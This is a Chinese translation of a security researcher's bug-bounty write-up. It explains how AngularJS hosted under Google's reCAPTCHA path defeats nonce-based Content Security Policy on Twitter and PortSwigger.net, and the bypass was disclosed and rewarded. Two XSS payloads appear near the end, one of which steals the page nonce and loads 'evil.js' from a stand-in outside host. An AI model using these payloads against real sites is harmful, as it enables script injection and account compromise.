白帽故事 · 2024年2月27日 0

使用 Google 脚本资源绕过 PortSwigger上的 CSP

背景介绍

Portswigger 前不久在 HackerOne 上披露一份漏洞报告(https://hackerone.com/reports/2279346),虽然是CSP的绕过漏洞,但有几个背景信息需要先交待一下:

  • 该报告中CSP绕过是基于特定程序的
  • 你需要充分了解你的目标, 然后尝试威胁建模
  • 创造性思维,经常阅读博客、时事资讯,更加深入的了解你的目标

推特挑战

前不久有这样一条推文:

敲黑板:CSP 的工作原理是限制加载文档内容所使用的某些访问模式,具体做法是声明一系列策略指令(通过 CSP 标头或meta标记),该列表由指令名称和该指令允许的源列表组成。

对于 XSS,最有趣的指令是 script-src ,因为它描述了如何允许文档加载 JavaScript,设置 script-src 指令的两种常见方法是通过白名单方法或使用基于nonce的方法,在 CSP 中指定 nonce 时,页面上的任何脚本都将被允许加载,但前提是该脚本标记使用相同的 nonce 值进行修饰。

<script src="" nonce="ABC"></script>

这通常是普遍做法,因为攻击者无法使用正确的 nonce 注入脚本标记( nonce 应该是为每个页面加载生成的长随机值)。

如果站点使用 URL 白名单,则该页面将面临以下风险:这些 URL 中的任何一个都可能托管有危险的库,攻击者可以滥用这些库来升级为完整的 XSS, Angular JS 就是经常导致 CSP 绕过的一个库,当然还有大量其他可能被滥用的脚本源。

CSP 的一个功能在实现时和试图寻找绕过时往往会让人感到困惑,那就是 nonce 与关键字 strict-dynamic 指令中声明,这种组合将允许任何具有 nonce 属性的脚本将其他脚本元素注入 DOM 并执行它们,即使这些新脚本标记缺少声明的 nonce 值, nonce 和 strict-dynamic 的这种组合还会使页面忽略 script-src 指令中任何其他列入白名单的 URL。

使用受信任的脚本将不受信任的脚本添加到页面是绕过 CSP 的常见方法

具体可参阅此处的示例,其中 jQuery 会生成一个脚本标签并将其添加到页面中,由于加载的 jQuery 脚本具有有效的 nonce,因此可以在 DOM 中添加新的脚本标签,而无需 nonce 值。

使用Angular JS 和 nonce 绕过推特 CSP

回到上面那条推文,网友 @sudi 提出了一个来自 Google CTF 的有趣建议,其中解决方案包括使用 Google 的一个域作为漏洞, @huli 的这篇文章很值得一读,主要启示就是,Google Recaptcha 服务是无边界的 Angular JS,是经典的 CSP 破坏者。

让我们使用 https://csp-evaluator.withgoogle.com/ 看一下 Twitter CSP 的 script-src 部分:

正如所看到的,有一个 nonce 但没有 strict-dynamic 关键字,这意味着白名单中的任何 URL 都可以作为脚本源,该列表可能托管包含多个危险代码片段的URL,但我们感兴趣的是 https://www.google.com/recaptcha/ 

如果想要了解和使用 https://www.google-analytics.com ,可移步 @renniepak 的相关推文。

因此利用上面所说就可以注入Payloads 进行弹窗:

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>

问题在于,即使能够弹窗也无法证明任意代码执行,在 Twitter 的 CSP 下如果将 alert 替换为 eval 会抛出如下错误:

EvalError: Refused to evaluate a string as JavaScript because ‘unsafe-eval’ is not an allowed source of script

CSP script-src 指令不包含值 unsafe-eval ,因此无法使用 eval 或 setTimeout 执行字符串,作为攻击者,我们需要找到一种方法将受限 XSS 升级为成熟的 XSS,以执行我们想要的任何操作。让我们重新回到 CSP 理论。

从 JavaScript 访问脚本nonce

关于 CSP 的一个常见误解是,nonce 值会在 DOM 加载后隐藏起来,这只是部分事实,在加载了用 nonce 修饰的脚本页面后,使用 “开发工具” 查看 DOM,会发现脚本标记上没有 nonce 值,只有一个空的 nonce 属性,不过,这并不意味着 nonce 值已被删除;它只是从 CSS 等 “侧信道 “中隐藏了起来,该值仍可从 JavaScript 中获取。

HTML 规范对此进行了描述,在 JavaScript 中,我们只需要使用常规 node.nonce 就可以访问 DOM 节点的 nonce 属性,要查找当前页面 nonce 的任何节点,我们可以这样做:

const nonce = document.querySelector("[nonce]").nonce;

当有了 nonce 时,就可以创建有效的 script 标签并根据需要将它们添加到 DOM 中。

使用这种技术,可以通过使用有效的 nonce 导入具有我们想要的任何源的新脚本,将之前的 Angular JS 注入升级为任意 XSS!

<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>

<img src=x ng-on-error='
    doc=$event.target.ownerDocument;
    a=doc.defaultView.top.document.querySelector("[nonce]");
    b=doc.createElement("script");
    b.src="//example.com/evil.js";
    b.nonce=a.nonce; doc.body.appendChild(b)'>

以上PoC确实验证了推特上可以作为完整的CSP绕过。

绕过Portswigger.net的CSP

访问 portswigger.net 查看 CSP时, CSP 有一个包含 https://www.google.com/recaptcha 和 https://www.gstatic.com/recaptcha 的白名单,它们都托管包含 Angular JS 的 about/js/main.min.js 文件, CSP 还配置了 nonce ,但缺少 strict-dynamic 关键字,就和上面推特的设置完全一样。

这就意味着可以使用与推特上相同的Payloads来绕过 PortSwigger.net 上的 CSP,唯一的问题是没有 HTML 注入来绑定旁路。

但即便如此,按照CSP绕过问题向 PortSwigger.net 提交了漏洞报告,他们最终接受了这份报告。(因为在这之前一位名叫Gareth Hayes的白帽子就曾在 PortSwigger.net 主域上发现过CSP绕过,并因此写了一篇博文

在初步修复后,安全人员还指出由于缺少 form-action 指令,可能会导致凭据泄漏问题,PortSwigger.net 也决定顺便修复该问题,针对 CSP 绕过给予了安全人员 1000 美元的奖励,针对 form-action 问题另外授予了 500 美元的奖励。

本文作者:Johan Carlsson

原文链接:https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/?ref=weekly.infosecwriteups.com

以上内容由骨哥翻译并整理,希望对你有所帮助。